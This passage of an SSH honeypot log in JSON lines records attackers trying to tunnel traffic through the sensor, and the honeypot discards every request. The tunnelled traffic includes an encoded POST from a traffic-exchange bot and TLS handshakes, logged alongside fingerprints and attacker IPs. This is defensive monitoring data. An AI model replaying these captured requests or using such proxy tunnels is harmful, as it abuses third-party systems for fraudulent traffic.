p\\xc0\\x07\\xdc\\xe6\\x8d\\x84\\xd8\\xb8\\xca\\x11\\xa1\\x97d\\xc3\\x05\\x92\\xe5\\x12\\xfc\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 M\\x7f\\xe8\\xd8DK\\x9c\\x91\\x05V\\xb3\\xfa\\x86U\\xe7f>\\xd8m[\\x89E\\xf7\\xf7H\\xcb\\xea\\x13\\xa5\\xbb\\xe0\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:27.789546Z","src_ip":"113.164.152.20","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:28.210973Z","src_ip":"113.164.152.20","session":"f57cc400f948","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:30.820380Z","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:30.880610Z","src_ip":"23.175.50.51","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MzBeN1hodHAhVEwoUz8%2BaQ%3D%3DJYftEil6CFjTwk0JyZ862VWF08C45%2FM7AWQ6dYNlPXxzL%2FgS9WfP6AOoc6MSJ7DiqwkbpWW%2B8nbbL63JFy37N77wycGw%2FnBWqnZQ1BUI4WCl5vSRyLo3ce7fJlSsbQaGg0zVg8BODUBjj%2Ba1VQkFsSPosqNfUZEMMtbQXHcd8IYREyhM3lh7wN8xCEF93qg0sP4p2Y5kpuk%2Fgb1OWFoAdpRHrr%2FU52mwfe1qGY9w%2F5aRziWkjC709Q8X8cJbc1KHDlqJMDRRUq2e1FpZjBM%2B%2BIwddYSRX1pz851tFaUyEtReA2PqBqCfaPtVgoXSIo9E7Z9%2Fg8LigohnwM%2FDcCUmT20H%2F5bmRiN7XgBLM9gjl2AfQOD3d4bQphpYXZqGGZ2UsUJMZXWqDB2o8XlQCUNV5zNc0f0yafGjntD8bKPQo6FRmloKQRyaJ7bvjYdXG%2FvZXQWpTBTLesrf81u35yiicQGIUEVL6b5zEULj3Q5IlyYJvDoD62dMWWyhlHZUryheTrBErt3iyBeHszwQJlpJpE9ZBZZHECtQP39JUL6HqKGIze%2Feboc9fPB4FHSj0SZ0lklldhTK6n1FVmQn5HLobxtXz3%2F6%2FinR06NH3gyjsZAO%2BKoSIQrT7fzGV5DRTqaNC30pGTNSDzo1AyYKdN5G4oUJg8%2FwY6%2FFees%2FAgmNLXhVrhoacsGbxvGUGgtc5QOjMhcuRe35EsbqXMjlj8HEj03R2a2b%2FYOtSUXC1sG8vrKnWerzo41TlBl2914POlUEavnexeOe1dvI7XELUMz5tM7yzHKDkCKs6N3KRoKtMt4z2Q2ZRJoU2LMVFOV3h2AATOpe7tUYJ%2FZ4kzpCtojvOGmGwpOyYSbIdlq%2FU4n61lSdWvZIdTzBMYeCnIpnr7SuF6GiAnOryxQq0XgiqvZJRlHTkYaYzqEzHF7SYiZabHC0bId%2B4Qm9sRgzH5Z4Re22fN4M0E2g07HY6O9D0%2Bo8wE8qpPE8MhLcfBn9H6CrLpcYuyCUyEGAmo%2BT%2FNjBji9sughgbNAPSaUPLj2EFvt2rFmD7LuJGBWLTvF6Seri4beG2wSaV%2FK5tZsn5R3dTI7b'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MzBeN1hodHAhVEwoUz8%2BaQ%3D%3DJYftEil6CFjTwk0JyZ862VWF08C45%2FM7AWQ6dYNlPXxzL%2FgS9WfP6AOoc6MSJ7DiqwkbpWW%2B8nbbL63JFy37N77wycGw%2FnBWqnZQ1BUI4WCl5vSRyLo3ce7fJlSsbQaGg0zVg8BODUBjj%2Ba1VQkFsSPosqNfUZEMMtbQXHcd8IYREyhM3lh7wN8xCEF93qg0sP4p2Y5kpuk%2Fgb1OWFoAdpRHrr%2FU52mwfe1qGY9w%2F5aRziWkjC709Q8X8cJbc1KHDlqJMDRRUq2e1FpZjBM%2B%2BIwddYSRX1pz851tFaUyEtReA2PqBqCfaPtVgoXSIo9E7Z9%2Fg8LigohnwM%2FDcCUmT20H%2F5bmRiN7XgBLM9gjl2AfQOD3d4bQphpYXZqGGZ2UsUJMZXWqDB2o8XlQCUNV5zNc0f0yafGjntD8bKPQo6FRmloKQRyaJ7bvjYdXG%2FvZXQWpTBTLesrf81u35yiicQGIUEVL6b5zEULj3Q5IlyYJvDoD62dMWWyhlHZUryheTrBErt3iyBeHszwQJlpJpE9ZBZZHECtQP39JUL6HqKGIze%2Feboc9fPB4FHSj0SZ0lklldhTK6n1FVmQn5HLobxtXz3%2F6%2FinR06NH3gyjsZAO%2BKoSIQrT7fzGV5DRTqaNC30pGTNSDzo1AyYKdN5G4oUJg8%2FwY6%2FFees%2FAgmNLXhVrhoacsGbxvGUGgtc5QOjMhcuRe35EsbqXMjlj8HEj03R2a2b%2FYOtSUXC1sG8vrKnWerzo41TlBl2914POlUEavnexeOe1dvI7XELUMz5tM7yzHKDkCKs6N3KRoKtMt4z2Q2ZRJoU2LMVFOV3h2AATOpe7tUYJ%2FZ4kzpCtojvOGmGwpOyYSbIdlq%2FU4n61lSdWvZIdTzBMYeCnIpnr7SuF6GiAnOryxQq0XgiqvZJRlHTkYaYzqEzHF7SYiZabHC0bId%2B4Qm9sRgzH5Z4Re22fN4M0E2g07HY6O9D0%2Bo8wE8qpPE8MhLcfBn9H6CrLpcYuyCUyEGAmo%2BT%2FNjBji9sughgbNAPSaUPLj2EFvt2rFmD7LuJGBWLTvF6Seri4beG2wSaV%2FK5tZsn5R3dTI7b'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:30.885179Z","src_ip":"23.175.50.51","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:31.228891Z","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:31.340608Z","src_ip":"23.175.50.51","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9eT\\x0e\\xddL6\\xc8C%P\\xaa0\\xd1\\xdb\\xd6\\xcd\\xad\\xbdT\\xd8s\\xdc\\xbf\\xdcS\\xf8B\\x04\\x1bWFP \\xa8\\xed\\xd9\\xd3\\x99\\xc1\\xc6&\\xdd\\x03\\x11\\x81\\x8e\\xd9\\x90\\x1d\\x81{mR\\x16\\xe60\\xb2m\\xb9Y\\x80\\x84\\xc2O\\xcf\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 m\\xa1vj{\\x9cu\\xb9P\\x01\\xf3\\xfcg>\\xc8\\x8ec\\x90\\x9c\\xf3\\xdc\\xeb\\x1d\\xe9@\\x86\\xd0aT!\\x915\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9eT\\x0e\\xddL6\\xc8C%P\\xaa0\\xd1\\xdb\\xd6\\xcd\\xad\\xbdT\\xd8s\\xdc\\xbf\\xdcS\\xf8B\\x04\\x1bWFP \\xa8\\xed\\xd9\\xd3\\x99\\xc1\\xc6&\\xdd\\x03\\x11\\x81\\x8e\\xd9\\x90\\x1d\\x81{mR\\x16\\xe60\\xb2m\\xb9Y\\x80\\x84\\xc2O\\xcf\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 m\\xa1vj{\\x9cu\\xb9P\\x01\\xf3\\xfcg>\\xc8\\x8ec\\x90\\x9c\\xf3\\xdc\\xeb\\x1d\\xe9@\\x86\\xd0aT!\\x915\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:31.343936Z","src_ip":"23.175.50.51","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:31.418703Z","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:31.477878Z","src_ip":"23.175.50.51","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf5\\x8c\\xc1z\\x83Q\\x11\\x01\\xa5a\\x02(y;d\\xc6\\x16T/C\\xa8\\xae|\\x97\\xf6\\x8e\\xdd\\n\\x1f\\xeb\\xcc\\xcd \\x05\\xba\\xb3\\x81\\x9f\\xd6H\\x93\\x95Q\\x11<y\\xe6\\x0b\\x1a\\xe1\\tx\\xb5\\xc6\\xf9d\\x93#\\xffh\\xdd4V\\xe5w\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x05\\xde\\xecW1|\\xb539\\xe7:\\xfb\\xaa\\xa4\\xb1\\xd3z\\xf53\\xbb~/\\xb3\\xfa\\x86Mj\\x02=\\xf4\"\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf5\\x8c\\xc1z\\x83Q\\x11\\x01\\xa5a\\x02(y;d\\xc6\\x16T/C\\xa8\\xae|\\x97\\xf6\\x8e\\xdd\\n\\x1f\\xeb\\xcc\\xcd \\x05\\xba\\xb3\\x81\\x9f\\xd6H\\x93\\x95Q\\x11<y\\xe6\\x0b\\x1a\\xe1\\tx\\xb5\\xc6\\xf9d\\x93#\\xffh\\xdd4V\\xe5w\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x05\\xde\\xecW1|\\xb539\\xe7:\\xfb\\xaa\\xa4\\xb1\\xd3z\\xf53\\xbb~/\\xb3\\xfa\\x86Mj\\x02=\\xf4\"\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:31.480836Z","src_ip":"23.175.50.51","session":"213ac6ebe131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49559,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3dbb1df958b","protocol":"ssh","message":"New connection: 123.27.168.40:49559 (10.17.0.5:22) [session: e3dbb1df958b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:40.889339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:00:40.895173Z","src_ip":"123.27.168.40","session":"e3dbb1df958b","protocol":"ssh"}
